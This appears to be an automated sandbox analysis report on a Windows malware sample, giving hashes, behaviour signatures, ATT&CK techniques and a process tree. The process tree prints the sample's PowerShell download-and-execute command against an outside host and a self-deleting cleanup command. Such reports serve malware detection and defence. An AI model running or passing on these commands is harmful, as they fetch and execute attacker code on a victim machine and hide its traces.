e610c9fc6ae3dd1c640c89775bcffd73f8a76ddbbf152790c45a7a903388a3b5

Analysis

max time kernel
300s
max time network
181s
platform
windows10-1703_x64
resource
win10-20230220-en
resource tags

arch:x64arch:x86image:win10-20230220-enlocale:en-usos:windows10-1703-x64system
submitted
12-03-2023 22:32

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General

Target

e610c9fc6ae3dd1c640c89775bcffd73f8a76ddbbf152790c45a7a903388a3b5.exe
Size

150KB
MD5

f1b7edcb3ceb0d3c7dbbbeecf5656271
SHA1

85d36368a2381f03824954e19b60f001eb25fb62
SHA256

e610c9fc6ae3dd1c640c89775bcffd73f8a76ddbbf152790c45a7a903388a3b5
SHA512

2c47bb87b786df0b562a33481bd1daaed5537c0052c44fd9d02df26bdd99f5d1b4ce6916718f21b2f7845a274691da28127ffd31d9bf1c2228e8b77822710865
SSDEEP

3072:GSFb9MUFNlW8wJT3PM0VqSHDYEvn86NrPvPPhNWBjh0khuYGCClLqsFM8Tt6:4NrPfhNINyGsa8B6

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://aszfiltration.com/storage/files/debug2.ps1

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
6	2656	powershell.exe
9	2656	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
4240	PING.EXE

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2656	powershell.exe
2656	powershell.exe
2656	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2656	powershell.exe

Suspicious use of WriteProcessMemory 10 IoCs

description	pid	Process	procid_target
PID 2272 wrote to memory of 2392	2272	e610c9fc6ae3dd1c640c89775bcffd73f8a76ddbbf152790c45a7a903388a3b5.exe	66
PID 2272 wrote to memory of 2392	2272	e610c9fc6ae3dd1c640c89775bcffd73f8a76ddbbf152790c45a7a903388a3b5.exe	66
PID 2392 wrote to memory of 2656	2392	cmd.exe	68
PID 2392 wrote to memory of 2656	2392	cmd.exe	68
PID 2272 wrote to memory of 4372	2272	e610c9fc6ae3dd1c640c89775bcffd73f8a76ddbbf152790c45a7a903388a3b5.exe	69
PID 2272 wrote to memory of 4372	2272	e610c9fc6ae3dd1c640c89775bcffd73f8a76ddbbf152790c45a7a903388a3b5.exe	69
PID 2272 wrote to memory of 4372	2272	e610c9fc6ae3dd1c640c89775bcffd73f8a76ddbbf152790c45a7a903388a3b5.exe	69
PID 4372 wrote to memory of 4240	4372	cmd.exe	71
PID 4372 wrote to memory of 4240	4372	cmd.exe	71
PID 4372 wrote to memory of 4240	4372	cmd.exe	71

C:\Users\Admin\AppData\Local\Temp\e610c9fc6ae3dd1c640c89775bcffd73f8a76ddbbf152790c45a7a903388a3b5.exe
"C:\Users\Admin\AppData\Local\Temp\e610c9fc6ae3dd1c640c89775bcffd73f8a76ddbbf152790c45a7a903388a3b5.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2272
- C:\Windows\System32\cmd.exe
  "C:\Windows\sysnative\cmd.exe" /c "powershell -command IEX(New-Object Net.Webclient).DownloadString('https://aszfiltration.com/storage/files/debug2.ps1')"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2392
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -command IEX(New-Object Net.Webclient).DownloadString('https://aszfiltration.com/storage/files/debug2.ps1')
    3⤵
    - Blocklisted process makes network request
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2656
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\e610c9fc6ae3dd1c640c89775bcffd73f8a76ddbbf152790c45a7a903388a3b5.exe" >> NUL
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4372
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1
    3⤵
    - Runs ping.exe
    PID:4240

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uhewnz00.zua.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
memory/2656-125-0x0000016C21270000-0x0000016C21280000-memory.dmp

Filesize
64KB

Download
memory/2656-126-0x0000016C21270000-0x0000016C21280000-memory.dmp

Filesize
64KB

Download
memory/2656-128-0x0000016C39E80000-0x0000016C39EA2000-memory.dmp

Filesize
136KB

Download
memory/2656-131-0x0000016C3A030000-0x0000016C3A0A6000-memory.dmp

Filesize
472KB

Download
memory/2656-158-0x0000016C21270000-0x0000016C21280000-memory.dmp

Filesize
64KB

Download
memory/2656-737-0x0000016C21270000-0x0000016C21280000-memory.dmp

Filesize
64KB

Download
memory/2656-739-0x0000016C21270000-0x0000016C21280000-memory.dmp

Filesize
64KB

Download
memory/2656-856-0x0000016C21270000-0x0000016C21280000-memory.dmp

Filesize
64KB

Download